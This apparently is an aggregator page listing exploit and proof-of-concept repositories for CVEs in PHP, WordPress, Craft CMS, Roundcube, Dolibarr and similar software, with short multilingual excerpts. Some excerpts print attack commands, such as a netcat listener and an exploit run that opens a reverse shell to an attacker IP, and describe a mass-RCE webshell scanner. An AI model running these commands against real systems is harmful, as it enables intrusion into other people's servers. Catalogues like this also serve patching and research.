EUVD-2026-75637

MongoDB: GridFS data disclosure and deletion via query-operator injection in file IDs...

CVE-2025-22510

CVE-2025-22510 1️⃣ Tipo de componente Plugin de WordPress 2️⃣ Detalles del componente Nombre del componente WC Price History for Omnibus Versión vulnerable = 2.1.4 Slug del componente wc-price-history Enlace del componente https://wordpress.org/plugins/wc-price-history/ 3️⃣ OWASP 2017: TOP 10 Clase...

CVE-2025-44108-SXSS

CVE-2025-44108 - FlatPress CMS 1.3.1 中的存储型跨站脚本（XSS）漏洞 描述 Flatpress CMS 1.3.1 的管理面板中存在一个存储型跨站脚本（XSS）漏洞。拥有管理员权限的攻击者可以向系统注入恶意的 JavaScript 载荷，该载荷会被持久化存储。 当普通用户访问被攻破的页面（例如一篇博客文章）时，注入的载荷会在受害者浏览器中自动执行。 受影响产品 Flatpress 版本： 上传器 - 图库说明文字中，您可以编辑图片的说明文字，注入载荷并保存。当网站访客或管理员访问博客文章时，存储型 XSS 将被触发。 1. 2. 代码区域...

zentao

zentao Getshell Buscar downloadZipPackage C:\Users\Jas502n\Desktop\xamppfindstr /s /i "downloadZipPackage" zentao\log.txt:module\client\control.php: $result = $this-client-downloadZipPackage$version, $link; zentao\log.txt:module\client\ext\model\xuanxuan.php:public function...

Craft-CMS-Exploit

此 Python 脚本利用了 Craft CMS（一款流行的内容管理系统）的远程代码执行漏洞（CVE-2023-41892）。受影响版本为 4.0.0-RC1 至 4.4.14，允许攻击者远程执行任意代码，例如 PHP 反向 Shell。 使用方法 首先在另一个 shell 中启动 netcat 监听器： nc -nlvp 1234 然后检查您的 IP 地址并运行漏洞利用程序： python3 exploit.py -r 10.10.16.47 -p 1234 http://surveillance.htb 祝您使用全新的反向 Shell 愉快地进行渗透！ 免责声明...

CVE-2024-4577-PHP-RCE

CVE-2024-4577-PHP-RCE 项目简介与原理 全球首款利用PHP默认环境（XAMPP）的CVE-2024-4577 PHP-CGI RCE 漏洞 EXP。 The world's first CVE-2024-4577 PHP-CGI RCE exploit utilizing the default PHP environment. Sharing original exploit, supports SSRF, supports WAF bypass. 实现PHP默认环境RCE。原理：cgi.forceredirect + REDIRECT-STATUS。...

CVE-2021-40964

Tiny File Manager = 2.4.6 - 远程代码执行（需认证） 🚨 关于漏洞利用 这是一个基于 Bash 的需认证 远程代码执行 RCE 漏洞利用工具，针对 Tiny File Manager 版本 = 2.4.6，受 CVE-2021-40964 影响。 该脚本利用： 弱上传验证与 webroot 泄露， 任意文件上传漏洞，进而实现 PHP 代码执行。 📌 详细信息 漏洞标题： Tiny File Manager = 2.4.6 - 远程代码执行 RCE CVE： CVE-2021-40964 作者： Z3R0 0x30 受影响版本： ≤ 2.4.6 是否需要认证：...

CVE-2025-34085-Multi-target

CVE-2025-34085 多目标 RCE 扫描器 CVE-2025-34085 的大规模利用扫描器 —— 针对 WordPress Simple File List 插件的未认证远程代码执行漏洞。 该工具上传一个伪装成图片的 PHP 载荷，通过易受攻击的文件引擎重命名，并用自定义命令触发 shell 执行。支持多线程扫描大规模目标集。 🔥 功能特性 多目标扫描（从 targets.txt 读取） 自动上传并重命名恶意载荷 可自定义命令的 WebShell 触发 线程化执行以提高速度 成功 RCE 记录到 vuln.txt ⚙️ 使用方法 python3 CVE-2025-34085.p...

DolibabyPhp

DolibabyPhp Un exploit de RCE autenticado para Dolibarr ERP/CRM CVE-2023-30253. Instalación Puedes instalar el paquete desde el repositorio PyPi con pip o clonar el código fuente directamente desde GitHub con git clone. pip install dolibabyphp Uso Usage: dolibabyphp OPTIONS TARGETURL USERNAME...

CVE-2020-0688

Escáner CVE-2020-0688 Este es un pequeño y sucio Script para Comprobar Servidores Exchange vulnerables por CVE-2020-0688 Está escrito de forma fea y en PHP. Precaución: Solo comprueba si tienes la actualización CU real instalada. ¡Eso no significa que tengas instalado el parche de corrección de...

CVE-2026-71981

PoC de Cypht CVE-2026-71981 Este es un PoC para CVE-2026-71981, una RCE por deserialización insegura. El resultado del comando ejecutado se imprime en la respuesta de la solicitud de cierre de sesión después de las etiquetas . Use --print-all para imprimir también la respuesta completa. Versiones...

Chankro

Chankro 你最喜欢的工具，用于在渗透测试中绕过 disablefunctions 和 openbasedir 。 工作原理 在 Linux 中，PHP 在调用 mail 函数时会执行一个二进制程序（sendmail）。如果我们允许使用 putenv，就可以设置环境变量 "LDPRELOAD"，从而预加载一个任意的共享对象。该共享对象会在不受 PHP 限制的情况下执行我们的自定义载荷（二进制或 bash 脚本），例如实现一个反向 shell。 示例： 语法非常简单： $ python2 chankro.py --arch 64 --input rev.sh --output...

CVE-2019-6340

CVE-2019-6340 仅供教育目的 运行 $ docker run --rm -p 8080:80 knqyf263/cve-2019-6340 利用 GET $ curl -XGET -H "Content-Type: application/hal+json" "http://localhost:8080/node/1?format=haljson" -d ' "link": "value": "link", "options":...

CVE-2019-19369

CVE-2019-19369 - FusionPBX = 4.5.10 认证远程代码执行（RCE） 经过认证的攻击者可以利用FusionPBX版本 = 4.5.10中的PHP编辑器功能，编辑现有的PHP页面以插入PHP有效载荷。通过导航到已更改的文件，我们能够以www-data用户身份获取shell。 发现者：TheCyberGeek...

CVE-2023-46818

Exploit en Python para CVE-2023-46818 🔥 Descripción Este script de exploit en Python apunta a una vulnerabilidad de seguridad en el parámetro records de ISPConfig en /admin/languageedit.php, el cual no se sanitiza correctamente. Esto permite que un administrador autenticado inyecte y ejecute códi...

CVE-2025-49113-Roundcube-RCE-PHP

CVE-2025-49113-Roundcube-RCE-PHP Versiones de Roundcube Webmail 1.5.0 a 1.6.10 Este es un exploit reescrito para funcionar con PHP. Uso php CVE-2025-49113.php...

CVE-2024-53345

CVE-2024-53345 Día Cero Crítico en Sistema de Gestión de Alquiler de Coches Versiones 1.0 - 1.3 Descripción: Existe una vulnerabilidad crítica en la funcionalidad de carga de archivos del módulo de Configuración del Sistema dentro del Sistema de Gestión de Alquiler de Coches versiones 1.0 a 1.3,...

PHP-Injection-in-M4-PDF-Extensions

PHP-Injection-in-M4-PDF-Extensions CVE-2023-50029 es una vulnerabilidad de inyección PHP en el módulo M4 PDF Extensions. Esta vulnerabilidad permite a los atacantes inyectar y ejecutar código PHP arbitrario en el servidor, lo que les otorga control total sobre el sistema objetivo. El problema...

CVE-2009-4623

CVE-2009-4623 Advanced Comment System 1.0 反向Shell Advanced Comment System 1.0 中存在多个PHP远程文件包含漏洞，远程攻击者可以通过向 advancedcommentsystem/ 目录下的 1 index.php 和 2 admin.php 中的 ACSpath 参数传递URL来执行任意PHP代码。注意：这仅当管理员未遵循 install.php 中的安装说明时才会构成漏洞。...

CVE-2026-48907

CVE-2026-48907 PoC Educativo ⚠️ Este repositorio es solo con fines educativos y de seguridad defensiva. Pruebe únicamente en sistemas que le pertenezcan o para los que tenga autorización explícita. No utilice este proyecto contra sistemas de terceros. Este PoC demuestra la CVE-2026-48907, una...